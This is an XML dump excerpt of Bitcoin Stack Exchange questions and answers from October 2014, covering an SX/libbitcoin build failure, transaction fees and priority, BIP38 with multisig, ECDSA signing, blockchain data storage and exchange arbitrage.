  <row Id="32219" PostTypeId="1" AcceptedAnswerId="32411" CreationDate="2014-10-30T06:50:45.483" Score="0" ViewCount="585" Body="&lt;p&gt;I'm trying to install the SX (&lt;a href=&quot;http://SX.dyne.org&quot; rel=&quot;nofollow&quot;&gt;http://SX.dyne.org&lt;/a&gt;) tools using Ubuntu 14 LTS following the installation instructions (&lt;a href=&quot;http://sx.dyne.org/introduction.html#installation&quot; rel=&quot;nofollow&quot;&gt;http://sx.dyne.org/introduction.html#installation&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I use &lt;strong&gt;wget&lt;/strong&gt; to download the SH script to root, then...&lt;/li&gt;&#xA;&lt;li&gt;install with &lt;code&gt;sudo bash ./install-sx.sh&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All goes well until this point (terminal window output edited for brevity ie the start if the installation looks fine):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking for CURL... yes&#xA;checking for libsecp256k1... yes&#xA;checking that generated files are newer than configure... done&#xA;configure: creating ./config.status&#xA;config.status: creating Makefile&#xA;config.status: creating include/bitcoin/Makefile&#xA;config.status: creating src/Makefile&#xA;config.status: creating libbitcoin.pc&#xA;config.status: executing depfiles commands&#xA;config.status: executing libtool commands&#xA;configure: WARNING: unrecognized options: --with-libsecp256k1&#xA;Making all in include/bitcoin&#xA;make[1]: Entering directory '/usr/local/src/libbitcoin-git/include/bitcoin'&#xA;make[1]: Nothing to be done for 'all'.&#xA;make[1]: Leaving directory '/usr/local/src/libbitcoin-git/include/bitcoin'&#xA;Making all in src&#xA;make[1]: Entering directory '/usr/local/src/libbitcoin-git/src'&#xA;  CXX      utility/ec_keys.lo&#xA;utility/ec_keys.cpp: In function 'libbitcoin::ec_point libbitcoin::secret_to_public_key(const ec_secret&amp;amp;, bool)':&#xA;utility/ec_keys.cpp:66:23: error: 'secp256k1_ecdsa_pubkey_create' was not declared in this scope&#xA;             compressed))&#xA;                       ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::verify_public_key(const ec_point&amp;amp;)':&#xA;utility/ec_keys.cpp:75:78: error: 'secp256k1_ecdsa_pubkey_verify' was not declared in this scope&#xA;     return secp256k1_ecdsa_pubkey_verify(public_key.data(), public_key.size());&#xA;                                                                              ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::verify_private_key(const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:81:60: error: 'secp256k1_ecdsa_seckey_verify' was not declared in this scope&#xA;     return secp256k1_ecdsa_seckey_verify(private_key.data());&#xA;                                                            ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_tweak_add(libbitcoin::ec_point&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:115:73: error: 'secp256k1_ecdsa_pubkey_tweak_add' was not declared in this scope&#xA;     return secp256k1_ecdsa_pubkey_tweak_add(a.data(), a.size(), b.data());&#xA;                                                                         ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_multiply(libbitcoin::ec_point&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:121:73: error: 'secp256k1_ecdsa_pubkey_tweak_mul' was not declared in this scope&#xA;     return secp256k1_ecdsa_pubkey_tweak_mul(a.data(), a.size(), b.data());&#xA;                                                                         ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_add(libbitcoin::ec_secret&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:127:64: error: 'secp256k1_ecdsa_privkey_tweak_add' was not declared in this scope&#xA;     return secp256k1_ecdsa_privkey_tweak_add(a.data(), b.data());&#xA;                                                                ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_multiply(libbitcoin::ec_secret&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:133:64: error: 'secp256k1_ecdsa_privkey_tweak_mul' was not declared in this scope&#xA;     return secp256k1_ecdsa_privkey_tweak_mul(a.data(), b.data());&#xA;                                                                ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::verify_public_key(const ec_point&amp;amp;)':&#xA;utility/ec_keys.cpp:76:1: warning: control reaches end of non-void function [-Wreturn-type]&#xA; }&#xA; ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::verify_private_key(const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:82:1: warning: control reaches end of non-void function [-Wreturn-type]&#xA; }&#xA; ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_tweak_add(libbitcoin::ec_point&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:116:1: warning: control reaches end of non-void function [-Wreturn-type]&#xA; }&#xA; ^&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_multiply(libbitcoin::ec_point&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:122:1: warning: control reaches end of non-void function [-Wreturn-type]&#xA; }&#xA; ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_add(libbitcoin::ec_secret&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:128:1: warning: control reaches end of non-void function [-Wreturn-type]&#xA; }&#xA; ^&#xA;&#xA;utility/ec_keys.cpp: In function 'bool libbitcoin::ec_multiply(libbitcoin::ec_secret&amp;amp;, const ec_secret&amp;amp;)':&#xA;utility/ec_keys.cpp:134:1: warning: control reaches end of non-void function [-Wreturn-type]&#xA; }&#xA; ^&#xA;&#xA;make[1]: * [utility/ec_keys.lo] Error 1&#xA;make[1]: Leaving directory '/usr/local/src/libbitcoin-git/src'&#xA;make: * [all-recursive] Error 1&#xA;Xxxxx@ubuntu:/$ sx&#xA;The program 'sx' is currently not installed. You can install it by typing:&#xA;sudo apt-get install lrzsz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any idea why this is occurring and if there's a workaround? I initially had &lt;strong&gt;more&lt;/strong&gt; issues with Ubuntu 12.04 LTS so have upgraded to 14 LTS as I mentioned. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="5757" LastEditDate="2014-11-10T06:22:21.823" LastActivityDate="2014-11-11T02:19:35.430" Title="Ubuntu 14 LTS with SX tools installation issues" Tags="|ubuntu|error|installation|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32220" PostTypeId="2" ParentId="7750" CreationDate="2014-10-30T07:45:36.647" Score="1" Body="&lt;p&gt;If your bitcoin client is running on a dedicated linux machine you might want to try &lt;a href=&quot;https://github.com/magnific0/wondershaper&quot; rel=&quot;nofollow&quot;&gt;wondershaper&lt;/a&gt;. It allows you to limit the bandwith of your network adapter. For instance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo wondershaper eth0 1024 56&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;limits your bandwith to 1024 Kbps download and 56 Kbps upload rate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo wondershaper -c eth0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;clears interface limits and brings you back to full speed.&lt;/p&gt;&#xA;" OwnerUserId="20870" LastActivityDate="2014-10-30T07:45:36.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32221" PostTypeId="2" ParentId="122" CreationDate="2014-10-30T07:58:20.007" Score="6" Body="&lt;p&gt;As the Bitcoin Wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Coin_destruction&quot; rel=&quot;noreferrer&quot;&gt;explains&lt;/a&gt; on &amp;quot;Coin Destruction&amp;quot;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bitcoin has 2.1 quadrillion raw units, making up 8 decimals of BTC precision, so the entire network could potentially operate on much less than the full quantity of Bitcoins. If deflation gets to the point where transactions of more than 10 BTC are unheard of, clients can just switch to another unit so that, for example, it shows 10 mBTC rather than 0.01 BTC.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The maximum number of raw units might not be enough if the &lt;em&gt;entire world&lt;/em&gt; starts using BTC, but it would not be too difficult to increase precision in that case.&lt;/strong&gt; The transaction format and version number would be scheduled to change at some particular block number after a year or two, and everyone would have to update by then.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Doing some rough calculations, one can see that it might be the case that complete universal adoption of the Bitcoin could result in equivalent values of 1 (future) satoshi = $1 (current) USD.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  total_bitcoins / population * (satoshis/BTC)&#xA;= 21e6           / 7e9        * 1e8&#xA;= 300000 satoshis/person&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1075" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-10-30T07:58:20.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32222" PostTypeId="1" AcceptedAnswerId="32224" CreationDate="2014-10-30T09:18:26.017" Score="0" ViewCount="135" Body="&lt;p&gt;I was making a multisig account with 3 of my Bitcoin addresses. The multisig account needs 2 of 3 private key to spend the Bitcoins in there. Then, I came up with an idea that nobody on the internet (at least, nobody on the first page on google) had tried or thought about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use BIP38 encryption on the private keys (in multisig)? &lt;/p&gt;&#xA;" OwnerUserId="20886" LastEditorUserId="2306" LastEditDate="2014-10-30T15:16:39.330" LastActivityDate="2014-10-30T15:16:39.330" Title="BIP38 on multisig? Does it work?" Tags="|private-key|multi-signature|bip38|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32224" PostTypeId="2" ParentId="32222" CreationDate="2014-10-30T13:50:10.413" Score="1" Body="&lt;p&gt;Yes, you can use BIP38 with multisig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not exactly a brand new idea, though. I've spoken with some people from Gem (&lt;a href=&quot;https://gem.co/&quot; rel=&quot;nofollow&quot;&gt;https://gem.co/&lt;/a&gt;), that's exactly what their API lets you do. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-30T13:50:10.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32225" PostTypeId="2" ParentId="21528" CreationDate="2014-10-30T15:06:01.920" Score="2" Body="&lt;p&gt;.&#xA;&lt;strong&gt;You can use Bitcoin-PHP Payment library - &lt;a href=&quot;https://github.com/cryptoapi/Payment-Gateway&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cryptoapi/Payment-Gateway&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?&#xA;        require_once( &quot;cryptobox.class.php&quot; );&#xA;&#xA;        $options = array( &#xA;        &quot;private_key&quot; =&amp;gt; &quot;&quot;,        // private key from gourl.io&#xA;        &quot;orderID&quot;     =&amp;gt; &quot;your_product1_or_signuppage1_etc&quot;,&#xA;        &quot;amountUSD&quot;   =&amp;gt; 2          // 2 USD&#xA;        );  &#xA;&#xA;        // Initialise Payment Class&#xA;        $box1 = new Cryptobox ($options);&#xA;&#xA;        // Display Payment Box or successful payment result   &#xA;        $paymentbox = $box1-&amp;gt;display_cryptobox();&#xA;&#xA;        // A. Process Received Payment&#xA;        if ($box1-&amp;gt;is_paid()) &#xA;        { &#xA;&#xA;            // Your code here to handle a successful cryptocoin payment&#xA;            // ...&#xA;        }  &#xA;        else $message .= &quot;The payment has not been made yet&quot;;&#xA;    ?&amp;gt;&#xA;    &amp;lt;!DOCTYPE html&amp;gt;&#xA;    &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    &amp;lt;?= $paymentbox ?&amp;gt;&#xA;    &amp;lt;?= $message ?&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;    &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20887" LastActivityDate="2014-10-30T15:06:01.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32226" PostTypeId="2" ParentId="12173" CreationDate="2014-10-30T15:08:07.970" Score="-1" Body="&lt;p&gt;Easiest way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sprintf('%.8f', $amount); // 0.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20887" LastEditorUserId="2306" LastEditDate="2014-10-30T15:33:55.367" LastActivityDate="2014-10-30T15:33:55.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32227" PostTypeId="2" ParentId="20336" CreationDate="2014-10-30T15:10:27.940" Score="-1" Body="&lt;p&gt;.&#xA;You can use Open Source Bitcoin-PHP Payment library - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cryptoapi/Payment-Gateway&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cryptoapi/Payment-Gateway&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?&#xA;        require_once( &quot;cryptobox.class.php&quot; );&#xA;&#xA;        $options = array( &#xA;        &quot;private_key&quot; =&amp;gt; &quot;&quot;,        // private key from gourl.io&#xA;        &quot;orderID&quot;     =&amp;gt; &quot;your_product1_or_signuppage1_etc&quot;,&#xA;        &quot;amountUSD&quot;   =&amp;gt; 2          // 2 USD&#xA;        );  &#xA;&#xA;        // Initialise Payment Class&#xA;        $box1 = new Cryptobox ($options);&#xA;&#xA;        // Display Payment Box or successful payment result   &#xA;        $paymentbox = $box1-&amp;gt;display_cryptobox();&#xA;&#xA;        // A. Process Received Payment&#xA;        if ($box1-&amp;gt;is_paid()) &#xA;        { &#xA;            // Your code here to handle a successful cryptocoin payment&#xA;            // ...&#xA;        }  &#xA;        else $message .= &quot;The payment has not been made yet&quot;;&#xA;    ?&amp;gt;&#xA;    &amp;lt;!DOCTYPE html&amp;gt;&#xA;    &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    &amp;lt;?= $paymentbox ?&amp;gt;&#xA;    &amp;lt;?= $message ?&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;    &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20887" LastActivityDate="2014-10-30T15:10:27.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32228" PostTypeId="2" ParentId="24255" CreationDate="2014-10-30T15:28:05.680" Score="0" Body="&lt;p&gt;BIP38 &lt;em&gt;does&lt;/em&gt; use AES behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is difficult to answer, because AES has multiple modes (ways of using it) and only some of them are secure. As Zaph noted, you also need to pick a secure key derivation function (though a single iteration of PBKDF will not suffice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of making your own implementation, why not use &lt;code&gt;gpg -c&lt;/code&gt; or BIP38?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-30T15:28:05.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32230" PostTypeId="1" AcceptedAnswerId="32232" CreationDate="2014-10-30T17:16:49.523" Score="1" ViewCount="402" Body="&lt;p&gt;I was making a multisig account in &lt;a href=&quot;http://coinb.in/multisig/&quot; rel=&quot;nofollow&quot;&gt;coinb.in&lt;/a&gt;. Then I tried to make a transaction (spend funds). At the bottom there was a box for writing the fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What fee? I thought bitcoin sending was free! Beside the box, it said, &quot;Make sure you include an adequate fee, otherwise your transaction may be rejected. 0.0005 BTC or more is recommended.&quot;&lt;/p&gt;&#xA;" OwnerUserId="20886" LastEditorUserId="2306" LastEditDate="2014-10-30T17:24:52.137" LastActivityDate="2014-11-07T18:01:32.720" Title="Are Bitcoin fees optional?" Tags="|transaction-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32232" PostTypeId="2" ParentId="32230" CreationDate="2014-10-30T17:46:39.367" Score="2" Body="&lt;p&gt;The fee is optional; however, including your transaction in the next found Bitcoin block is also optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner who finds a block gets to decide which, if any, transactions are recorded with the block they found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Factors that influence whether your transaction is included in that found block include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The block size limit.  Sometimes the transactions are too large to all fit into the block, so most will prioritize higher fee transactions to be included first.&lt;/li&gt;&#xA;&lt;li&gt;Local settings for the person finding the block can be set to ignore transactions with fees lower than an amount of their choosing.&lt;/li&gt;&#xA;&lt;li&gt;Some people will include all the transactions they have seen, as long as they will all fit, but this is not the normal default mode of operating for miners.  If you do not include any fee, then this would be your only chance.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19342" LastActivityDate="2014-10-30T17:46:39.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32233" PostTypeId="1" AcceptedAnswerId="32235" CreationDate="2014-10-30T17:52:14.377" Score="10" ViewCount="2564" Body="&lt;p&gt;From the Bitcoin wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot;&gt;page on transaction fees&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction priority is calculated as a value-weighted sum of input&#xA;  age, divided by transaction size in bytes:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;priority = sum(input_value_in_base_units * input_age)/size_in_bytes&#xA;  Transactions need to have a priority above 57,600,000 to avoid the&#xA;  enforced limit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can somebody clarify what input_value_in_base_units or input_age is?&lt;/p&gt;&#xA;" OwnerUserId="20886" LastEditorUserId="5406" LastEditDate="2017-09-02T18:10:27.100" LastActivityDate="2017-09-02T18:10:27.100" Title="Bitcoin transaction priority calculation" Tags="|transaction-selection|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32234" PostTypeId="1" AcceptedAnswerId="36826" CreationDate="2014-10-30T19:13:05.677" Score="3" ViewCount="1075" Body="&lt;p&gt;I'm curious to how would one store a 30kb file on the NXT blockchain since the NXT protocol can attach a 1000byte message. My test scenario is storing a 30kb midi file on the nxt blockchain and then call it back to form the file again either in the browser or as a downloaded file. I want to be able to do this via the local nxt client through its api and also via online services that have their api open to query the nxt blockchain. What I need to know and confirm is the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Due to the 1000byte limit, I'd imagine it would be about 30+ separate messages to form this file.&lt;/li&gt;&#xA;&lt;li&gt;To reform the file, we would need to mark each message in proper order to concatenate it. &lt;/li&gt;&#xA;&lt;li&gt;Can all of this be done using only javascript and query remote nxt blockchain api's?&lt;/li&gt;&#xA;&lt;li&gt;Do we need to turn bytecode into base64 for decentralized storage?&lt;/li&gt;&#xA;&lt;li&gt;What other issues might we encounter?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If we can get a test scenario working, technically we can store/retrieve/embed data onto our websites/apps without needing a centralized server. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-06-27T20:28:58.547" Title="How to store 30kb file using Decentralized Blockchain Data Storage on NXT (nxtcoin) by attach messages?" Tags="|blockchain|nxt|decentralization|storage|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32235" PostTypeId="2" ParentId="32233" CreationDate="2014-10-30T19:16:18.293" Score="7" Body="&lt;p&gt;&lt;code&gt;input_value_in_base_units&lt;/code&gt; is the number of satoshis that the input is worth. One Bitcoin is worth 100,000,000 satoshis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;input_age&lt;/code&gt; is how many blocks the input has been present for. An unconfirmed transaction has an age of 0, and one that has 100 confirmations has an age of 100.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-30T19:16:18.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32236" PostTypeId="1" CreationDate="2014-10-30T19:21:11.297" Score="1" ViewCount="1599" Body="&lt;p&gt;I'm a programmer and want to get to know more about encryption and how Bitcoin works, but there is not much on the web describing how all this code works. It would help if there was some visual way to describe the concept of how and what its doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can someone send the public key and private key to another computer without giving away the private key? If you didn't send the private key, how would the other computer know the transaction was from you and not someone else pretending to be you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read up on key pairs and have managed to generate a key pair in java. Everyone's example of 'using' key pairs is very vague. How do you &quot;use&quot; the key pair to confirm a transaction. I know you have a private key that signs the transaction and the public key some how confirms the transaction but i don't understand the &quot;how&quot; it is &quot;used&quot; if you send a transaction with your secret key wouldn't that no longer be a secret key? How is the public key confirm the transaction was signed correctly? How can you send your secret key out with out some one using it once they get it? If Bob sends a transaction to Tim would Tim not now have Bobs security key? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very sorry if this question sounds dumb. I'm just having a hard time understanding how you can send some one a transaction and be able to &quot;sign&quot; that transaction and how its confirmed. a lot of posts people are saying its Elliptic Curve Digital Signature Algorithm (ECDSA) but how is it doing all of this.&lt;/p&gt;&#xA;" OwnerUserId="20846" LastEditorUserId="20846" LastEditDate="2014-10-30T20:13:00.730" LastActivityDate="2014-12-30T09:10:38.793" Title="How are transactions secured?" Tags="|transactions|encryption|ecdsa|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32237" PostTypeId="1" AcceptedAnswerId="34041" CreationDate="2014-10-30T20:33:40.760" Score="36" ViewCount="35638" Body="&lt;p&gt;If a person sends a transaction to another person, and Bitcoin is a peer-to-peer application, how will the transaction get to the rest of the Bitcoin community? How does everyone have the same blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does every system know about every other system in the network? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="20846" LastEditorUserId="2306" LastEditDate="2014-10-30T21:18:08.157" LastActivityDate="2021-11-15T06:21:13.060" Title="How are transactions broadcast to the rest of the network?" Tags="|transactions|blockchain|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32239" PostTypeId="2" ParentId="32237" CreationDate="2014-10-30T20:42:48.957" Score="5" Body="&lt;p&gt;The bitcoin daemon makes the transaction with the source address and the destination address then broadcasts the transaction to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin miners confirm the transaction and include it in the next(s) blockchain blocks. The miners receive the transaction fee as the reward for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the receiver downloads a new Bitcoin blockchain block and sees incoming transaction to his/her address, the receiver knows the payment was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all Bitcoin nodes share the same blockchain data (approx. 27.5 GB at the moment). This blockchain as eventually consistent, append-only, database of all Bitcoin transactions.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="18196" LastEditDate="2014-12-14T23:43:26.410" LastActivityDate="2014-12-14T23:43:26.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32240" PostTypeId="2" ParentId="30446" CreationDate="2014-10-30T23:42:56.343" Score="1" Body="&lt;p&gt;I'm no user, and just discovered multigateway, I've read their docs, using my understanding, it seems that when you deposit Bitcoins (or anyother coin) to them, they create a new Bitcoin (or anyother coin) address for you only for which they hold the private key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You [edit] would [/edit] therefore monitor, that your mgwBTC amount match exactly the coins at the public deposit address, at all times (just give it a little time for transactions to settle). If this is true for any anounts and at all times, they are not doing fractional reserve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit] If they transfer the coins on the deposited address to another address (which is a better practice (see below)) you can't prove anything for sure, as you have no vision on the total of mgwBTC in circulation (and issuance process), nor can you know for sure that they really own the public address, and not for example rent some payment services from an address which has lot of bitcoin to inspire confidence (unless their whole book is public (and proven so), you then aggregate all transactions, see where the funds are coming and check it started at 0 and everything adds up the way it should)[/edit] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a word of caution here, them not doing fractional reserve is not an all risk guarantee. It may even be considered bad practice. Their keys may get stolen at any time. All coins are 'live' (because of the no fractional reserve guarantee), this means if they get (self?) hacked, 100% is gone almost instantly. Whereas exchange usually have most of the cash on frozen addresses, whose private keys are not stored on a device connected to internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a bug in their system, and for example their transactions are not really 'transactional' which is kind of hard to do in a distributed system and some mgwBTC got double spent, their transaction algorithm will automatically adjust your BTC deposit to match the mgwBTC. Which means if someone can steal some mgwBTC they can steal your deposited BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An other word of caution: they seem to only release binaries of their software, which is not good for inspiring trust (but they are still beta).&lt;/p&gt;&#xA;" OwnerUserId="9198" LastEditorUserId="9198" LastEditDate="2014-10-31T09:27:07.027" LastActivityDate="2014-10-31T09:27:07.027" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32241" PostTypeId="2" ParentId="32230" CreationDate="2014-10-31T00:49:52.817" Score="1" Body="&lt;p&gt;Yes, but it's up to the miners if and when they'll include your transaction. Miners get the fee you pay when they put your transaction in a block. Tip your miner, and he will include you faster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners often include no-fee transactions, but if the blocks are full (they have a size limit) they might not be included at all! These transmission fees are a thorn in the collective eye, but in Bitcoin they are essential to security.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-10-31T00:49:52.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32242" PostTypeId="2" ParentId="24869" CreationDate="2014-10-31T01:00:35.090" Score="0" Body="&lt;p&gt;You will need to start a policy of merging these transactions together, small group by small group. You will have to investigate the optimal strategy for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, over the course of probably years, you will have to keep these dust-mopping-transactions filling out the free crannies and nookies of every block. You'll be done in O(nlogn) transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This result is somewhat intentional, it is a massive administrative pain to have all these mini-outputs. From now on you may wish to either bundle transactions (as to have less dust) or continuously mop dust together. It's a shame though, super small transactions are a neat feature!&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-10-31T01:00:35.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32243" PostTypeId="2" ParentId="32236" CreationDate="2014-10-31T01:02:45.150" Score="1" Body="&lt;p&gt;I'm going to say up front, I've referred to several sources but as of this stage have yet to send a raw transaction myself. So I think OP's question is quite relevant in that there is no concrete example available on Bitcoin SE outlining the transaction process (which is convoluted, especially for newcomers). &#xA;Start with &lt;a href=&quot;http://blog.chain.com/post/95218566791/the-math-behind-bitcoin&quot; rel=&quot;nofollow&quot;&gt;this blog&lt;/a&gt; then check out:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-documentation&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org Developer Section&lt;/a&gt; (the nitty gritty)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Technical&quot; rel=&quot;nofollow&quot;&gt;BTC Wiki technical section&lt;/a&gt; (more nitty gritty)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.royalforkblog.com/2014/09/04/ecc/&quot; rel=&quot;nofollow&quot;&gt;http://www.royalforkblog.com/2014/09/04/ecc/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-10-31T08:23:38.197" LastActivityDate="2014-10-31T08:23:38.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32244" PostTypeId="1" CreationDate="2014-10-31T01:55:35.303" Score="1" ViewCount="919" Body="&lt;p&gt;How efficient is the bitcoin market? I am confused after comparing buy prices in exchanges operating in different currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I see that 1 BTC amounts to 347 USD at the moment at one exchange in the US. In an exchange 'Localbitcoins', the lowest buy price I can find is 437 AUD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, at the current exchange rate, 347 USD ~= 393 AUD. It seems to me even with some exchange fees that might be imposed, one can earn arbitrage profit by simply going long in one market and shorting in another. I am sure this is not the case. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="20844" LastEditorUserId="20844" LastEditDate="2014-10-31T10:12:58.437" LastActivityDate="2014-10-31T10:17:26.787" Title="Arbitrage in Bitcoin exchanges" Tags="|exchanges|arbitrage|" AnswerCount="2" CommentCount="1" ClosedDate="2014-11-01T14:38:02.233" ContentLicense="CC BY-SA 3.0" />
